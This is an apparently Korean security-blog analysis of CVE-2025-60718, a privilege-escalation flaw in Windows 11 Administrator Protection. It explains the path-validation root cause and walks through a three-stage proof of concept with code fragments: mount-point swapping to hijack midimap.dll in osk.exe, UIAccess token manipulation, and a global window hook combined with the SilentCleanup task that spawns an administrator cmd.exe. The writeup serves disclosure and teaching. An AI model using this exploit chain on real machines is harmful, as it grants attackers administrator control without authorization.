[하루한줄] CVE-2025-60718 : Windows 11 Administrator Protection의 Path Validation 오류로 인한 Elevation of Privilege

URL

Target

  • Windows 11 Insider Preview (10.0.27913.1000)

Explain

Background

Windows의 Administrator Protection 기능은 관리자 권한 프로세스를 보다 안전하게 실행하기 위해 도입된 메커니즘입니다. 이 과정에서 RAiLaunchAdminProcess API가 사용되며, 이는 내부적으로 CreateProcessAsUser를 호출하여 관리자 프로세스를 생성합니다.

특히 UIAccess 프로세스는 입력 훅, 접근성 기능 등을 위해 높은 권한 컨텍스트와 상호작용할 수 있기 때문에, 실행 파일이 반드시 신뢰된 디렉토리(System32 등)에 존재해야 한다는 검증 로직이 존재합니다.

Root cause

핵심 문제는 경로 검증과 실제 사용 경로의 불일치(TOCTOU + Path Confusion)입니다.

보안 검증 시 GetFinalPathNameByHandle을 통해 정상적인 최종 경로 (예: C:\\Windows\\System32\\osk.exe)를 확인합니다. 그러나, 실제 프로세스 생성 시 사용자로부터 전달된 검증되지 않은 원본 application name이 그대로 사용됩니다. 즉, 검증은 안전한 경로 기준(resolve된 최종 경로)으로 하나, 실행은 공격자가 조작한 경로 기준 (원본 application name)이 되는 것입니다.

이로 인해 발생하는 문제는 다음과 같습니다.

RTL_USER_PROCESS_PARAMETERS에 전달된 application name이 DLL 로딩 시 base directory로 사용되고 결과적으로 공격자가 지정한 디렉토리에서 DLL 로딩 발생하여 DLL Planting / DLL Hijacking 가능합니다.

Exploitatoin Flow(+ PoC)

Exploit 은 총 3단계로 나눌 수 있겠습니다.

Stage 1. Mount Point 생성 + UIAccess 프로세스 실행

void StartOsk() {
    RemoveDirectory(L"c:\\\\dummy");
    CreateDirectory(L"c:\\\\dummy", nullptr);
    CreateMountPoint(L"c:\\\\dummy", L"c:\\\\windows\\\\system32", L"DUMMY");  // [1]

    auto procinfo = LaunchAdminProcess(L"c:\\\\dummy\\\\osk.exe", false);      // [2]

    CreateMountPoint(L"c:\\\\dummy", GetBasePath(), L"DUMMY");                 // [3]
    procinfo.Resume();                                                         // [4]
}

[1]

공격은 먼저 NTFS Reparse Point를 이용해 mount point를 생성하는 것부터 시작됩니다. 공격자는 C:\dummy 디렉토리를 생성한 뒤 이를 C:\Windows\System32로 리디렉션하여, 외형상으로는 신뢰된 시스템 경로를 가리키도록 만듭니다. 이를 통해 이후 실행되는 프로세스가 보안 검증을 통과하도록 기반을 마련합니다.

[2]

이후 RAiLaunchAdminProcess를 호출하여 C:\dummy\osk.exe 경로로 UIAccess 프로세스 생성을 요청합니다. AppInfo 서비스는 내부적으로 GetFinalPathNameByHandle을 사용해 실제 경로를 resolve하며, 이 값이 C:\Windows\System32\osk.exe로 확인되기 때문에 보안 검증을 정상적으로 통과합니다. 또한 CREATE_SUSPENDED 플래그를 사용하여 프로세스를 생성 직후 일시 중단 상태로 두어, DLL 초기화가 이루어지기 전에 개입할 수 있는 타이밍을 확보합니다.

LaunchAdminProcess()는 AppInfo 서비스의 비공개 RPC 인터페이스를 직접 호출합니다.

return RAiLaunchAdminProcess(rpc_handle, path, L"dummy",
    elevate ? 1 : 0,
    CREATE_UNICODE_ENVIRONMENT | CREATE_SUSPENDED,
    L"c:\\\\windows\\\\system32", L"WinSta0\\\\Default",
    &start_info, 0, INFINITE, &procinfo, &type);

[3]

프로세스가 중단된 상태에서 공격자는 mount point를 다시 한번 변경합니다. 이번에는 C:\dummy를 공격자가 제어하는 디렉토리(예: PoC 실행 파일 경로)로 리디렉션합니다. 이 시점에서 프로세스의 application name은 여전히 C:\dummy\osk.exe로 유지되지만, 해당 경로의 base directory는 이제 공격자 디렉토리를 가리키게 됩니다.

[4]

마지막으로 중단된 프로세스를 재개하면, osk.exe 초기화 과정에서 DLL 로딩이 수행되며 application base directory를 기준으로 midimap.dll을 탐색하게 됩니다. 이때 base directory가 이미 공격자 디렉토리로 바뀌어 있기 때문에, 공격자가 미리 배치한 악성 DLL이 로드되며 DLL Hijacking이 성공적으로 이루어집니다.

Stage 2. UIAccess 컨텍스트에서 코드 실행

Stage 1에서 midimap.dll이 osk.exe에 로드되면 DLL_PROCESS_ATTACH가 실행됩니다. 하지만 DllMain은 Loader Lock 상태에서 호출되기 때문에, COM 초기화나 SetWindowsHookEx 같은 복잡한 작업을 직접 수행할 수 없습니다. 따라서 별도 프로세스를 생성하여 Loader Lock에서 탈출해야 합니다.

case DLL_PROCESS_ATTACH:
    if (IsUIAccessBool()) {
        std::wstring path = GetRealExecutablePath();  // [5]
        StartProcess(path.c_str());                   // [6]
    }

[5] 실행 파일 경로 획득

DLL이 로드되면 DLL_PROCESS_ATTACH 시점에서 IsUIAccessBool()을 호출하여 현재 프로세스가 UIAccess 컨텍스트인지 확인합니다. 이는 해당 DLL이 실제로 UIAccess 권한을 가진 osk.exe와 같은 프로세스에 로드된 경우에만 후속 동작을 수행하도록 하기 위한 체크입니다. UIAccess가 아닌 일반 프로세스에서 로드된 경우에는 아무 동작도 수행하지 않습니다. 조건을 만족하면 GetRealExecutablePath()가 호출되며, 이 함수는 내부적으로 GetFinalPathNameByHandle을 사용하여 C:\dummy\AdminProtectionBypass.exe의 실제 경로를 resolve합니다. 이 시점에서는 mount point가 이미 공격자 디렉토리로 변경된 상태이므로, resolve 결과는 공격자가 제어하는 실제 경로(예: PoC 실행 경로)가 됩니다. 이를 통해 이후 단계에서 정확한 실행 파일 경로를 확보합니다.

// 하드코딩된 경로로 파일 핸들을 열고 resolve
CreateFile(L"c:\\dummy\\AdminProtectionBypass.exe", FILE_READ_ATTRIBUTES, ...);
GetFinalPathNameByHandleW(file.get(), buffer, ...);
// → mount point가 공격자 디렉토리로 변경된 상태이므로
//    실제 경로 (예: \\?\C:\path\to\poc\AdminProtectionBypass.exe) 반환

[6] 프로세스 재실행

이후 StartProcess(path.c_str())가 호출되는데, 이는 단순한 재실행이 아니라 Loader Lock 상태를 우회하고 공격을 다음 단계로 이어가기 위한 핵심 단계입니다. DllMain은 Loader Lock 상태에서 호출되기 때문에 SetWindowsHookEx나 COM 초기화와 같은 복잡한 동작을 수행하기 어렵습니다. 따라서 별도의 프로세스를 생성하여 이러한 제약에서 벗어난 환경을 확보합니다. StartProcess 내부에서는 먼저 OpenProcessToken과 DuplicateTokenEx를 사용하여 현재 UIAccess 프로세스의 토큰을 복제합니다. 이후 SetTokenInformation을 통해 복제된 토큰의 TokenUIAccess 값을 0으로 설정하여 UIAccess 플래그를 제거합니다. 이는 UIAccess 프로세스가 신뢰된 디렉토리(System32 등)에서만 실행 가능하다는 제약을 우회하기 위한 것으로, 공격자 디렉토리에 위치한 실행 파일을 정상적으로 실행하기 위해 반드시 필요한 과정입니다.

마지막으로 CreateProcessAsUser를 호출하여 동일한 실행 파일을 "bypass 1" 인자와 함께 재실행합니다. 이 인자는 프로그램의 실행 경로를 분기시키는 역할을 하며, 인자가 존재할 경우 wmain에서 ElevateToAdmin() 함수로 진입하게 됩니다. 

// osk.exe의 UIAccess 토큰을 복제
OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &token);
DuplicateTokenEx(token, TOKEN_ALL_ACCESS, ..., TokenPrimary, &dup_token);

// UIAccess 플래그를 제거 (0으로 설정)
DWORD uiaccess = 0;
SetTokenInformation(dup_token, TokenUIAccess, &uiaccess, sizeof(uiaccess));

// cmdline "bypass 1" → argc > 1 → ElevateToAdmin() 분기로 진입
WCHAR cmdline[] = L"bypass 1";
CreateProcessAsUser(dup_token, path, cmdline, ..., CREATE_NEW_CONSOLE, ...);

결과적으로 이 단계는 UIAccess 컨텍스트에서 확보한 권한을 기반으로 새로운 프로세스를 생성하고, 실제 권한 상승 로직이 수행되는 Stage 3으로 안전하게 넘어가기 위한 브릿지 역할을 수행합니다.

int wmain(int argc, wchar_t** argv) {
    if (argc > 1) ElevateToAdmin();  // Stage 3: 훅 설치 + 권한 상승
    else          StartOsk();        // Stage 1: mount point + DLL hijack
}

Stage 3. Windows Hook을 통한 Administrator 권한 상승

Stage 2에서 재실행된 익스플로잇은 argc > 1이므로 ElevateToAdmin()이 실행됩니다.

SetWindowsHookExW(WH_CALLWNDPROC, HookWndProc, g_instance, 0);                 // [7]
task->RunEx(_variant_t(), TASK_RUN_IGNORE_CONSTRAINTS, -1, nullptr, &running); // [8]

-----------

// [9]
static LRESULT CALLBACK HookWndProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (!g_spawned) {
        g_spawned = true;
        if (IsElevated() && _wcsicmp(GetModuleName().c_str(), L"cleanmgr.exe") == 0) {
            CreateProcess(nullptr, L"cmd.exe", ...);  // Administrator cmd.exe
        }
    }
    return CallNextHookEx(nullptr, nCode, wParam, lParam);

[7] 전역 Windows Hook 설치

먼저 SetWindowsHookExW(WH_CALLWNDPROC, HookWndProc, g_instance, 0)를 호출하여 전역 Windows Hook을 설치합니다. 이 훅은 시스템 전반의 GUI 프로세스에 메시지 처리 시 개입할 수 있도록 설정되며, 현재 프로세스가 UIAccess 기반으로 시작된 컨텍스트를 활용했기 때문에 일반적인 사용자 프로세스보다 높은 무결성 수준(IL)을 가진 프로세스에도 영향을 줄 수 있는 기반이 마련됩니다. 결과적으로, 이후 생성될 고권한 프로세스에 공격자 DLL이 주입될 수 있는 준비 상태가 됩니다.

[8] SilentCleanup 스케줄 작업 트리거 -> elevated cleanmgr.exe 실행

다음으로 Task Scheduler의 COM 인터페이스를 이용하여 \Microsoft\Windows\DiskCleanup\SilentCleanup 작업을 트리거합니다. 이 작업은 시스템에 기본적으로 등록된 작업으로, 실행 시 자동으로 elevated 권한의 cleanmgr.exe를 생성합니다. 공격자는 이를 악용하여 별도의 사용자 상호작용 없이 관리자 권한 프로세스를 유도합니다.

[9] Hook 콜백: elevated cleanmgr.exe에서 관리자 cmd.exe 생성

이후 cleanmgr.exe가 실행되어 윈도우 메시지를 처리하는 과정에서, 앞서 설치한 전역 훅이 트리거되며 HookWndProc 콜백이 실행됩니다. 콜백 내부에서는 현재 실행 컨텍스트가 elevated 상태인지(IsElevated())와 실행 중인 프로세스가 cleanmgr.exe인지 확인한 뒤, 조건을 만족할 경우 CreateProcess를 호출하여 cmd.exe를 생성합니다. 이때 cmd.exe는 cleanmgr.exe의 관리자 권한 컨텍스트에서 실행되므로, 최종적으로 공격자는 Administrator 권한의 쉘을 획득하게 됩니다.

결과적으로 이 단계는 전역 훅을 통해 고권한 프로세스에 코드 실행을 삽입하고, 이를 이용해 관리자 권한 프로세스를 생성함으로써 권한 상승을 완성하는 단계라고 볼 수 있습니다.

전체 흐름을 요약하면 다음과 같습니다.

Low Privilege User
    │
    ▼
[Stage 1] Mount Point: C:\dummy -> System32
    │      RAiLaunchAdminProcess("C:\dummy\osk.exe", CREATE_SUSPENDED)
    │      Mount Point 변경: C:\dummy -> 공격자 디렉토리
    │      Resume -> midimap.dll (DLL Hijack)
    │
    ▼
[Stage 2] UIAccess 프로세스 (osk.exe) 내 코드 실행
    │      DllMain에서 UIAccess 토큰 확인
    │      CreateProcessAsUser로 메인 익스플로잇 재실행 (인자 "1")
    │
    ▼
[Stage 3] ElevateToAdmin()
    │      SetWindowsHookEx 전역 훅 설치
    │      SilentCleanup 트리거 -> elevated cleanmgr.exe
    │      훅 콜백에서 Administrator cmd.exe 생성
    │
    ▼
Low Privilege -> Administrator 권한 상승 완료

Reference